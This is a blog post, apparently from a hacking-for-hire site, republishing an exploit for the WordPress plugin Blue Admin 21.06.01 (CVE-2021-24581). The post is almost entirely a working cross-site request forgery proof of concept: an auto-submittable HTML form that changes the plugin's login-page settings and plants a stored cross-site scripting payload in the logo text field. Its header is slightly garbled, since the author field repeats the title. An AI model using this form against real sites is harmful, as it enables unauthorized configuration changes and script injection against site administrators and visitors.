Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863100636

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Exploit Title: WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)
Date: 2021-07-27
Exploit Author : WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)
Vendor Homepage : https://wpscan.com/plugin/blue-admi
Version : <= 21.06.01
Tested on: windows 10 Professional
CVE : CVE-2021-24581

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=blue-admin&tab=blue_admin_login_page" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ba_lp_attr[fm_bg_color]" value="FFFFFF" />
      <input type="hidden" name="ba_lp_attr[fm_color]" value="777777" />
      <input type="hidden" name="ba_lp_attr[logo_text]" value='WP"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="ba_lp_attr[logo_url]" value="https://example.com" />
      <input type="hidden" name="ba_lp_attr[logo_img]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_color]" value="EEEEEE" />
      <input type="hidden" name="ba_lp_attr[text_color]" value="222222" />
      <input type="hidden" name="ba_lp_attr[bg_img]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_img_pos]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_img_rep]" value="" />
      <input type="hidden" name="ba_lp_options_save" value="Save changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>